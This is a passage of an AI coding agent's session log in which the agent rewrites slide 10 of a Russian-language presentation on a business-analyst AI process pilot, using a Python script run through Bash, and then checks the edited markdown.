\"req_011CfXNEcK5N9Q95TTDuCcL4\"\n[2026-09-29T07:51:47.180Z] [INFO] }\n[2026-09-29T07:51:47.190Z] [INFO] {\n[2026-09-29T07:51:47.190Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:47.190Z] [INFO]   \"message\": {\n[2026-09-29T07:51:47.190Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:47.190Z] [INFO]     \"id\": \"msg_011CfXNEdMpqeYeMZYkj77i5\",\n[2026-09-29T07:51:47.190Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:47.190Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:47.190Z] [INFO]     \"content\": [\n[2026-09-29T07:51:47.190Z] [INFO]       {\n[2026-09-29T07:51:47.190Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:51:47.190Z] [INFO]         \"text\": \"Writing the final wording for slide 10 based on backlog items B-211\u2026B-218. After that I'll write the speaker script.\"\n[2026-09-29T07:51:47.190Z] [INFO]       }\n[2026-09-29T07:51:47.190Z] [INFO]     ],\n[2026-09-29T07:51:47.190Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:47.190Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:47.190Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:47.190Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:47.190Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:47.190Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:47.190Z] [INFO]       \"cache_creation_input_tokens\": 1641,\n[2026-09-29T07:51:47.190Z] [INFO]       \"cache_read_input_tokens\": 103583,\n[2026-09-29T07:51:47.190Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:47.190Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:47.190Z] [INFO]         \"ephemeral_1h_input_tokens\": 1641\n[2026-09-29T07:51:47.190Z] [INFO]       },\n[2026-09-29T07:51:47.190Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:51:47.190Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:47.190Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:47.190Z] [INFO]     },\n[2026-09-29T07:51:47.190Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:47.190Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:47.190Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:47.190Z] [INFO]   },\n[2026-09-29T07:51:47.190Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:47.190Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:47.190Z] [INFO]   \"uuid\": \"ba26674a-10cc-440a-a801-2d9b954666a9\",\n[2026-09-29T07:51:47.190Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:47.176Z\",\n[2026-09-29T07:51:47.190Z] [INFO]   \"request_id\": \"req_011CfXNEcK5N9Q95TTDuCcL4\"\n[2026-09-29T07:51:47.190Z] [INFO] }\n[2026-09-29T07:51:53.532Z] [INFO] {\n[2026-09-29T07:51:53.532Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:53.532Z] [INFO]   \"message\": {\n[2026-09-29T07:51:53.532Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:53.532Z] [INFO]     \"id\": \"msg_011CfXNEdMpqeYeMZYkj77i5\",\n[2026-09-29T07:51:53.532Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:53.532Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:53.532Z] [INFO]     \"content\": [\n[2026-09-29T07:51:53.532Z] [INFO]       {\n[2026-09-29T07:51:53.532Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:51:53.532Z] [INFO]         \"id\": \"toolu_019SzcFbLV2CvVpfPyDCRMBL\",\n[2026-09-29T07:51:53.532Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:51:53.532Z] [INFO]         \"input\": {\n[2026-09-29T07:51:53.532Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation && python3 - <<'EOF'\\np='2026-09-29-meta-model-presentation-slides.md'\\ns=open(p).read()\\na=s.index(\\\"## \u0421\u043b\u0430\u0439\u0434 10.\\\")\\nb=s.index(\\\"> **\u0417\u0430\u043f\u0440\u043e\u0441:**\\\")\\ns=s[:a]+\\\"\\\"\\\"## \u0421\u043b\u0430\u0439\u0434 10. \u041f\u0443\u0442\u044c \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u0438 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\\n**\u0420\u0435\u0448\u0435\u043d\u0438\u044f \u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433.**\\n\\n- **\u0428\u0430\u0433 1, \u0431\u0435\u0437 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b:** runner \u0432\u0435\u0434\u0451\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0430 \u0410\u0420\u041c \u2014 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\\n  \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432 \u0438\u0437 YAML, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430, \u0443\u043c\u0435\u0435\u0442 \u0436\u0434\u0430\u0442\u044c \u0438\\n  \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c (B-211\u2026B-213).\\n- **\u0428\u0430\u0433 2, \u0437\u0430\u043c\u0435\u0440:** 10 \u0437\u0430\u0434\u0430\u0447. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430, \u0435\u0441\u043b\u0438 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438 \u0411\u0410 \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n  \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435.\\n- **\u0428\u0430\u0433 3, \u0421\u0440\u0435\u0434\u0430 4:** \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 (B-216, B-218).\\n  \u041d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430.\\n- **\u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c:** \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435\\n  \u043e\u0442\u0434\u0430\u0451\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n\\\"\\\"\\\"+s[b:]\\ns=s.replace(\\\"\\\"\\\"[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\\"\\\"\\\",\\n\\\"\\\"\\\"[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md),\\n[\u0431\u044d\u043a\u043b\u043e\u0433 B-211\u2026B-218](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md).\\\"\\\"\\\")\\ns=s.replace(\\\"| \u2014 (\u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b) | 10 |\\\",\\\"| \u2014 (\u043f\u0443\u0442\u044c \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f) | 10 |\\\")\\nopen(p,'w').write(s)\\nEOF\\ngrep -n \\\"\u0421\u043b\u0430\u0439\u0434 10\\\" -A22 2026-09-29-meta-model-presentation-slides.md | head -30\",\n[2026-09-29T07:51:53.532Z] [INFO]           \"description\": \"Rewrite slide 10 accurately\"\n[2026-09-29T07:51:53.532Z] [INFO]         },\n[2026-09-29T07:51:53.532Z] [INFO]         \"caller\": {\n[2026-09-29T07:51:53.532Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:51:53.532Z] [INFO]         }\n[2026-09-29T07:51:53.532Z] [INFO]       }\n[2026-09-29T07:51:53.532Z] [INFO]     ],\n[2026-09-29T07:51:53.532Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:53.532Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:53.532Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:53.532Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:53.532Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:53.532Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:53.532Z] [INFO]       \"cache_creation_input_tokens\": 1641,\n[2026-09-29T07:51:53.532Z] [INFO]       \"cache_read_input_tokens\": 103583,\n[2026-09-29T07:51:53.532Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:53.532Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:53.532Z] [INFO]         \"ephemeral_1h_input_tokens\": 1641\n[2026-09-29T07:51:53.532Z] [INFO]       },\n[2026-09-29T07:51:53.532Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:51:53.532Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:53.532Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:53.532Z] [INFO]     },\n[2026-09-29T07:51:53.532Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:53.532Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:53.532Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:53.532Z] [INFO]   },\n[2026-09-29T07:51:53.532Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:53.532Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:53.532Z] [INFO]   \"uuid\": \"753fc19e-fa09-467d-a8f4-46b781e5e095\",\n[2026-09-29T07:51:53.532Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:53.516Z\",\n[2026-09-29T07:51:53.532Z] [INFO]   \"request_id\": \"req_011CfXNEcK5N9Q95TTDuCcL4\",\n[2026-09-29T07:51:53.532Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:51:53.532Z] [INFO]     \"toolu_019SzcFbLV2CvVpfPyDCRMBL\": {\n[2026-09-29T07:51:53.532Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation && python3 - <<'EOF'\\np='2026-09-29-meta-model-presentation-slides.md'\\ns=open(p).read()\\na=s.index(\\\"## \u0421\u043b\u0430\u0439\u0434 10.\\\")\\nb=s.index(\\\"> **\u0417\u0430\u043f\u0440\u043e\u0441:**\\\")\\ns=s[:a]+\\\"\\\"\\\"## \u0421\u043b\u0430\u0439\u0434 10. \u041f\u0443\u0442\u044c \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u0438 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\\n**\u0420\u0435\u0448\u0435\u043d\u0438\u044f \u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433.**\\n\\n- **\u0428\u0430\u0433 1, \u0431\u0435\u0437 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b:** runner \u0432\u0435\u0434\u0451\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0430 \u0410\u0420\u041c \u2014 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\\n  \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432 \u0438\u0437 YAML, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430, \u0443\u043c\u0435\u0435\u0442 \u0436\u0434\u0430\u0442\u044c \u0438\\n  \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c (B-211\u2026B-213).\\n- **\u0428\u0430\u0433 2, \u0437\u0430\u043c\u0435\u0440:** 10 \u0437\u0430\u0434\u0430\u0447. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430, \u0435\u0441\u043b\u0438 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438 \u0411\u0410 \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n  \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435.\\n- **\u0428\u0430\u0433 3, \u0421\u0440\u0435\u0434\u0430 4:** \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 (B-216, B-218).\\n  \u041d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430.\\n- **\u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c:** \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435\\n  \u043e\u0442\u0434\u0430\u0451\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n\\\"\\\"\\\"+s[b:]\\ns=s.replace(\\\"\\\"\\\"[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\\"\\\"\\\",\\n\\\"\\\"\\\"[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md),\\n[\u0431\u044d\u043a\u043b\u043e\u0433 B-211\u2026B-218](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md).\\\"\\\"\\\")\\ns=s.replace(\\\"| \u2014 (\u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b) | 10 |\\\",\\\"| \u2014 (\u043f\u0443\u0442\u044c \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f) | 10 |\\\")\\nopen(p,'w').write(s)\\nEOF\\ngrep -n \\\"\u0421\u043b\u0430\u0439\u0434 10\\\" -A22 2026-09-29-meta-model-presentation-slides.md | head -30\",\n[2026-09-29T07:51:53.532Z] [INFO]       \"description\": \"Rewrite slide 10 accurately\"\n[2026-09-29T07:51:53.532Z] [INFO]     }\n[2026-09-29T07:51:53.532Z] [INFO]   }\n[2026-09-29T07:51:53.532Z] [INFO] }\n[2026-09-29T07:51:55.321Z] [INFO] {\n[2026-09-29T07:51:55.321Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:51:55.321Z] [INFO]   \"message\": {\n[2026-09-29T07:51:55.321Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:51:55.321Z] [INFO]     \"content\": [\n[2026-09-29T07:51:55.321Z] [INFO]       {\n[2026-09-29T07:51:55.321Z] [INFO]         \"tool_use_id\": \"toolu_019SzcFbLV2CvVpfPyDCRMBL\",\n[2026-09-29T07:51:55.321Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:51:55.321Z] [INFO]         \"content\": \"455:## \u0421\u043b\u0430\u0439\u0434 10. \u041f\u0443\u0442\u044c \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u0438 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n456-\\n457-**\u0420\u0435\u0448\u0435\u043d\u0438\u044f \u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433.**\\n458-\\n459-- **\u0428\u0430\u0433 1, \u0431\u0435\u0437 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b:** runner \u0432\u0435\u0434\u0451\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0430 \u0410\u0420\u041c \u2014 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\\n460-  \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432 \u0438\u0437 YAML, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430, \u0443\u043c\u0435\u0435\u0442 \u0436\u0434\u0430\u0442\u044c \u0438\\n461-  \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c (B-211\u2026B-213).\\n462-- **\u0428\u0430\u0433 2, \u0437\u0430\u043c\u0435\u0440:** 10 \u0437\u0430\u0434\u0430\u0447. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430, \u0435\u0441\u043b\u0438 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441\\n463-  \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438 \u0411\u0410 \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n464-  \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435.\\n465-- **\u0428\u0430\u0433 3, \u0421\u0440\u0435\u0434\u0430 4:** \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 (B-216, B-218).\\n466-  \u041d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430.\\n467-- **\u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c:** \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435\\n468-  \u043e\u0442\u0434\u0430\u0451\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n469-\\n470-> **\u0417\u0430\u043f\u0440\u043e\u0441:** \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u00ab\u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438\\n471-> \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b.\\n472-\\n473-**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n474-\\n475-```text\\n476-Three illuminated switches on a clean control panel, two already in\\n477-the on position and one waiting; behind the panel a calm, well-lit\",\n[2026-09-29T07:51:55.321Z] [INFO]         \"is_error\": false\n[2026-09-29T07:51:55.321Z] [INFO]       }\n[2026-09-29T07:51:55.321Z] [INFO]     ]\n[2026-09-29T07:51:55.321Z] [INFO]   },\n[2026-09-29T07:51:55.321Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:55.321Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:55.321Z] [INFO]   \"uuid\": \"cab6a115-5762-4379-8677-f504c91deda8\",\n[2026-09-29T07:51:55.321Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:55.307Z\",\n[2026-09-29T07:51:55.321Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:51:55.321Z] [INFO]     \"stdout\": \"455:## \u0421\u043b\u0430\u0439\u0434 10. \u041f\u0443\u0442\u044c \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u0438 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n456-\\n457-**\u0420\u0435\u0448\u0435\u043d\u0438\u044f \u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433.**\\n458-\\n459-- **\u0428\u0430\u0433 1, \u0431\u0435\u0437 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b:** runner \u0432\u0435\u0434\u0451\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0430 \u0410\u0420\u041c \u2014 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\\n460-  \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432 \u0438\u0437 YAML, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430, \u0443\u043c\u0435\u0435\u0442 \u0436\u0434\u0430\u0442\u044c \u0438\\n461-  \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c (B-211\u2026B-213).\\n462-- **\u0428\u0430\u0433 2, \u0437\u0430\u043c\u0435\u0440:** 10 \u0437\u0430\u0434\u0430\u0447. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430, \u0435\u0441\u043b\u0438 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441\\n463-  \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438 \u0411\u0410 \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n464-  \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435.\\n465-- **\u0428\u0430\u0433 3, \u0421\u0440\u0435\u0434\u0430 4:** \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 (B-216, B-218).\\n466-  \u041d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430.\\n467-- **\u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c:** \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435\\n468-  \u043e\u0442\u0434\u0430\u0451\u043c 